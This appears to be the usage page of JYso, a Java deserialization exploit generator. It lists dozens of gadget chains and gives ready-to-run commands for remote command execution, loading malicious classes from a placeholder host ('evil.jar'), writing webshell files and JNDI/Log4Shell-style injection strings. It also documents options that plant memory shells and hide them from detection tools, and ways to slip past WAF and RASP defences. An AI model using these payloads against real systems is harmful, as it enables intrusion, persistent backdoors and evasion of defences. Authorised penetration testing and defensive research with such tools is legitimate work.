-
Notifications
You must be signed in to change notification settings - Fork 189
6、Gadget
[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
[root]#~ Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
BeanShell2 @killer bsh:2.0b1
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsBeanutils1183NOCC @QI4L commons-beanutils:1.8.3
CommonsBeanutils2183NOCC commons-beanutils:1.8.3
CommonsBeanutils3183
CommonsBeanutils1JDBC @QI4L commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsBeanutils2 @CCKUAILONG commons-beanutils:1.9.2
CommonsBeanutils2JDBC @QI4L commons-beanutils:1.9.2
CommonsBeanutils3
CommonsBeanutils4
CommonsBeanutils5 commons-beanutils:1.6.1
CommonsBeanutils2NOCC commons-beanutils:1.8.3, commons-logging:1.2
CommonsBeanutilsAttrCompare @水滴 commons-beanutils:1.9.2
CommonsBeanutilsAttrCompare183 @SummerSec commons-beanutils:1.8.3
CommonsBeanutilsObjectToStringComparator @水滴 commons-beanutils:1.9.2, commons-lang3:3.10
CommonsBeanutilsObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10
CommonsBeanutilsPropertySource @SummerSec commons-beanutils:1.9.2, log4j-core:2.17.1
CommonsBeanutilsPropertySource183 @SummerSec commons-beanutils:1.9.2, log4j-core:2.17.1
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
CommonsCollections8 @navalorenzo commons-collections4:4.0
CommonsCollections9 @梅子酒 commons-collections:3.2.1
CommonsCollections10 commons-collections:3.2.1
CommonsCollections11
CommonsCollections12 commons-collections:3.2.1
CommonsCollections13 @Jayl1n commons-collections:3.2.1
CommonsCollections14 @Unam4 commons-collections:3.1
CommonsCollections15 @Unam4 commons-collections:3.1
CommonsCollections16 @Unam4 commons-collections:3.1, jdk<=8u70
CommonsCollectionsK1 commons-collections:3.1
CommonsCollectionsK2 commons-collections:4.0
CommonsCollectionsK3 @matthias_kaiser commons-collections:3.1
CommonsCollectionsK4 @matthias_kaiser commons-collections:4.0
CommonsCollectionsK5 @QI4L commons-collections:4.0
CommonsCollectionsK6 @QI4L commons-collections:4.0
Fastjson1
Fastjson2
FileUpload1
Groovy1 @frohoff groovy:2.3.9
Groovy2 @Unam4 groovy <2.4.3
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRE8u20 @frohoff
JRE8u20_2
JRMPClient @mbechler
JRMPClient_Activator @mbechler
JRMPClient_Obj @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
Jackson
JacksonLdapAttr
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jdk7u21variant @potats0
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2
ROME @mbechler rome:1.0
ROME2 rome:1.0
ROME3 @Firebasky rome:1.0
RenderedImage jai-codec-1.1.3
SignedObject
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-gen] [-gzk <arg>] [-h] [-hk <arg>] [-ht <arg>] [-hv <arg>] [-i] [-mcl] [-n <arg>] [-ncs] [-o] [-p
<arg>] [-pw <arg>] [-rh] [-u <arg>] [-yso <arg>]
-b64,--base64 base64编码输出结果
-ch,--cmd-header <arg> 请求头,将命令传递给执行,默认[X-Token-Data]
-dcfp,--define-class-from-parameter <arg> 使用 DefineClassFromParameter 时自定义参数名称
-dl,--dirty-length <arg> 使用类型 1 或 3 时的脏数据长度/使用类型 2 时的嵌套循环计数
-dt,--dirty-type <arg> 利用脏数据绕过WAF,类型:1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET
-f,--file <arg> 将输出写入 FileOutputStream(指定文件名)
-g,--gadget <arg> Java deserialization gadget
-gen,--gen-mem-shell 将内存 Shell 类保存为class文件
-gzk,--godzilla-key <arg> Godzilla key,default [key]
-h,--hide-mem-shell 对检测工具隐藏内存外壳(类型2仅支持SpringControllerMS)
-he1,--Hessian1 Hessian1 Output
-he2,--Hessian2 Hessian2 Output
-hk,--header-key <arg> MemoryShell 标头检查,请求标头密钥,默认 [Referer]
-ht,--hide-type <arg> 隐藏内存shell,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/
-hv,--header-value <arg> MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/]
-i,--inherit 是否让payload继承AbstractTranslet(低版本的JDK如1.6应该继承)
-mcl,--mozilla-class-loader 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader
-n,--gen-mem-shell-name <arg> 设置MemShell类文件名
-ncs,--no-com-sun 强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl
-o,--obscure 使用反射绕过RASP
-p,--parameters <arg> Gadget parameters
-pw,--password <arg> Behinder 或 Godzilla 密码,默认 [p@ssw0rd]
-rh,--rhino 使用Rhino Engine 把内存马代码转换为JS
-u,--url <arg> MemoryShell绑定url模式,默认[/QI4L]
-utf,--utf8-Overlong-Encoding UTF-8 Overlong Encoding Bypass waf
-x,--XStream <arg> Generate Xstream serialization xml
-y,--ysoserial <arg> Java deserialization
Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
If you want your payload being extremely short,you could just use:
java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser
本项目为其拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:
-
TS :Thread Sleep - 通过
Thread.sleep()
的方式来检查是否存在反序列化漏洞,使用命令:TS-10
-
RC :Remote Call - 通过
URLClassLoader.loadClass()
来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
-
WF :Write File - 通过
FileOutputStream.write()
来写入文件,使用命令:WF-/tmp/shell#d2hvYW1p
-
PB :ProcessBuilder 通过
ProcessBuilder.start()
来执行系统命令,使用命令PB-lin-d2hvYW1p
/PB-win-d2hvYW1p
分别在不同操作系统执行命令 -
SE :ScriptEngine - 通过
ScriptEngineManager.getEngineByName('js').eval()
来解析 JS 代码调用 Runtime 执行命令,使用命令SE-d2hvYW1
-
DL :DNS LOG - 通过
InetAddress.getAllByName()
来触发 DNS 解析,使用命令DL-xxxdnslog.cn
-
HL :HTTP LOG - 通过
URL.getContent()
来触发 HTTP LOG,使用命令HL-http://xxx.com
-
BC :BCEL Classloader - 通过
..bcel...ClassLoader.loadClass().newInstance()
来加载 BCEL 类字节码,使用命令BC-$BCEL$xxx
,也可以使用BC-EX-TomcatEcho
或BC-LF-/tmp/aaa.class
来执行高级功能 -
JD :JNDI Lookup - 通过
InitialContext.lookup()
来触发 JNDI 注入,使用命令JD-ldap://xxx/xx
-
其他:普通命令执行 - 通过
Runtime.getRuntime().exec()
执行系统命令,使用命令whoami
这里需要注意的是,使用 PB 执行系统命令、WF 写入文件的内容、SE 执行命令时,为了防止传参错误,需要 对传入的命令使用 base64 编码
除了上面的利用,项目也通过 ScriptEngineManager 执行 JS 的方式支持了 EX-
的写法,也就是说针对 ChainedTransformer 利用方式也可以打入内存马或回显。
JNDI中同理
ldap://127.0.0.1:1389/Deserialization/CommonsCollections1/command/Base64/[base64_encoded_DL-xxx.org])
命令执行示例:
java -jar JYso-[version].jar -y -g CommonsCollections1 -p PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==
DNSLOG示例:
java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'DL-xxx.org'
脚本引擎解析 JS 代码示例:
java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'SE-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='
文件写入示例:
java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'WF-/tmp/1.jsp#PCVAcGFnZSBwYWdlR.....'
触发 JNDI 查询注入示例:
java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'JD-ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='
普通命令执行示例:
java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'open -a Calculator.app'
更多使用可以看链子对应代码处的具体注释。
如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader 并使用了字节码缩短技术,减少Payload体积
示例:
java -jar JYso-[version].jar -y -g CommonsCollections3 -p LF-/tmp/evil.class -f cc3.ser
对于 TemplatesImpl
使用该功能不会直接打印在回显上,需要-f来保存在使用
为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容:
DNSLOG 关键字 | 对应链 | 关键类 | 备注 |
---|---|---|---|
cc31or321 cc322 |
CommonsCollections13567 | org.apache.commons.collections.functors.ChainedTransformer org.apache.commons.collections.ExtendedProperties$1 |
CommonsCollections1/3/5/6/7 需要<=3.2.1版本 |
cc40 cc41 |
CommonsCollections24 | org.apache.commons.collections4.functors.ChainedTransformer org.apache.commons.collections4.FluentIterable |
CommonsCollections2/4链 需要4-4.0版本 |
cb17 cb18x cb19x |
CommonsBeanutils2 | org.apache.commons.beanutils.MappedPropertyDescriptor$1 org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry org.apache.commons.beanutils.BeanIntrospectionData |
1.7x-1.8x为-3490850999041592962 1.9x为-2044202215314119608 |
c3p092x c3p095x |
C3P0 | com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase com.mchange.v2.c3p0.test.AlwaysFailDataSource |
0.9.2pre2-0.9.5pre8为7387108436934414104 0.9.5pre9-0.9.5.5为7387108436934414104 |
ajw | AspectJWeaver | org.aspectj.weaver.tools.cache.SimpleCache | AspectJWeaver,需要cc31 |
bsh20b4 bsh20b5 bsh20b6 |
bsh | bsh.CollectionManager$1 bsh.engine.BshScriptEngine bsh.collection.CollectionIterator$1 |
2.0b4为4949939576606791809 2.0b5为4041428789013517368 2.0.b6无法反序列化 |
groovy1702311 groovy24x groovy244 |
Groovy | org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet groovy.lang.Tuple2 org.codehaus.groovy.runtime.dgm$1170 |
2.4.x为-8137949907733646644 2.3.x为1228988487386910280 |
becl | Becl | com.sun.org.apache.bcel.internal.util.ClassLoader | JDK<8u251 |
Jdk7u21 | Jdk7u21 | com.sun.corba.se.impl.orbutil.ORBClassLoader | JDK<=7u21 |
JRE8u20 | JRE8u20 | javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1 | 7u25<=JDK<=8u20 这个检测不完美,8u25版本以及JDK<=7u21会误报 可综合Jdk7u21来看 |
linux windows |
winlinux | sun.awt.X11.AwtGraphicsConfigData sun.awt.windows.WButtonPeer |
windows/linux版本判断 |
jackson2100 | jackson | com.fasterxml.jackson.databind.node.NodeSerialization | |
ROME | ROME | com.sun.syndication.feed.impl.ToStringBean com.rometools.rome.feed.impl.ObjectBean |
|
SpringAOP | fastjon jackson |
org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource | |
fastjson | fastjon | com.alibaba.fastjson.JSONArray | |
jdk17_22 | jdk.internal.util.random.RandomSupport | ||
jdk9_22 | jdk.internal.misc.Unsafe | ||
jdk6_8 | sun.misc.BASE64Decoder | ||
jdk6_11 | com.sun.awt.SecurityWarning | ||
jdk9_10 | jdk.incubator.http.HttpClient | ||
all | 全部检测 | ||
jndiall |
jndiall 关键类 | 说明 |
---|---|
org.apache.naming.factory.BeanFactory | 最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法 |
org.apache.catalina.filters. CsrfPreventionFilter$NonceCache |
tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString |
javax.el.ELProcessor | 和BeanFactory最经典的配合 |
org.yaml.snakeyaml.Yaml | 知名YAML序列化,可以跟BeanFactory配合 |
com.thoughtworks.xstream.XStream | 知名XML序列化,可以跟BeanFactory配合 |
org.mvel2.sh.ShellSession | mvel语法,可以跟BeanFactory配合 |
org.apache.tomcat.jdbc.naming. GenericNamingResourcesFactory |
高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性 |
org.apache.commons.configuration. SystemConfiguration |
配合GenericNamingResourcesFactory可以篡改jdk环境变量 |
org.apache.commons.configuration2. SystemConfiguration |
配合GenericNamingResourcesFactory可以篡改jdk环境变量 |
org.apache.groovy.util.SystemUtil | groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量 |
org.apache.batik.swing.JSVGCanvas | 远程加载svg造成XSS,XXE,RCE |
org.apache.catalina.users. MemoryUserDatabaseFactory |
配合UserDatabase可以XXE,写文件 |
org.apache.catalina.UserDatabase | 配合MemoryUserDatabaseFactory可以XXE,写文件 |
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory | 以下均为DataSourceFactory,可以造成jdbc |
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory | |
org.apache.commons.dbcp.BasicDataSourceFactory | |
org.apache.commons.dbcp2.BasicDataSourceFactory | |
org.apache.tomcat.jdbc.pool.DataSourceFactory | |
com.alibaba.druid.pool.DruidDataSourceFactory | |
com.zaxxer.hikari.HikariJNDIFactory | |
org.h2.Driver | h2 jdbc,可以RCE |
org.postgresql.Driver | postgresql,可以远程加载XML执行SPEL,可以写文件 |
org.springframework.context.support. ClassPathXmlApplicationContext |
postgresql RCE依赖spring环境 |
com.mysql.jdbc.Driver | mysql,可以二次反序列化,可以读文件,可以XXE |
com.mysql.cj.jdbc.Driver | |
com.mysql.fabric.jdbc.FabricMySQLDriver | |
oracle.jdbc.driver.OracleDriver | oracle,可以带出机器用户名 |
com.ibm.db2.jcc.DB2Driver | db2,可以写文件 |
COM.ibm.db2.jcc.DB2Driver | |
com.ibm.ws.webservices.engine.client. ServiceFactory |
WebSphere的ObjectFactory,可以远程加载jar,很少用到 |
com.ibm.ws.client.applicationclient. ClientJ2CCFFactory |
|
oracle.ucp.jdbc.PoolDataSourceImpl | 反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖 |
org.hibernate.service.jdbc.connections. internal.DriverManagerConnectionProviderImpl |
hibernate-core-4.x,比较低版本才有的类 |
本项目参考了 kezibei 师傅的 URLDNS 项目,实际情况可能有如下几种情况导致问题:
- 反序列时遇到黑名单,可能导致后面的类的 dnslog 出不来;
- 反序列化流程中由于种种情况报错可能导致出不来。
因此这里还是提供了 all/common/指定类 三种探测方式:
- all:探测全部的类;
- common:探测不常在黑名单中的 CommonsBeanutils2/C3P0/AspectJWeaver/bsh/winlinux;
- 指定类:使用对应链中的关键字 CommonsCollections24:xxxx.dns.log 。
示例:all:xxx.dns.log
Base64编码all:dnslog地址,即可
java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log'
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log])
对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。
本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:
- TS :Thread Sleep - 通过
Thread.sleep()
的方式来检查是否存在反序列化漏洞,使用命令:TS-10
- RC :Remote Call - 通过
URLClassLoader.loadClass()
来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
- WF :Write File - 通过
FileOutputStream.write()
来写入文件,使用命令:WF-/tmp/shell#123
- 其他:普通命令执行 - 通过
ProcessBuilder().start()
执行系统命令,使用命令whoami
与之前的扩展类似,这里也不放截图了。
对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:EX-
用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
大概包含如下几种可用的常见调用链:
- InvokerTransformer 调用任意方法(依赖 CC)
- BeanComparator 调用 getter 方法(依赖 CB)
- BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
- ToStringBean 调用全部 getter 方法(依赖 Rome)
- MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
- MemberBox 反射调用任意方法(依赖 rhino)
-
cc
,cc4
,cb
,hibernate
,rome
,rhino
,spring
-
利用方式:
-
SignedObjectPayload -> 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型
- JNDI-Injection-Exploit 用法:
ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:commonscollections6:[base64_encoded_cmd]:1::10000)
- ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000"
- JNDI-Injection-Exploit 用法:
${jndi:ldap://127.0.0.1:1389/[Basic or ELProcessor]/command/base64/[base64cmd]}
- ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "calc"
使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。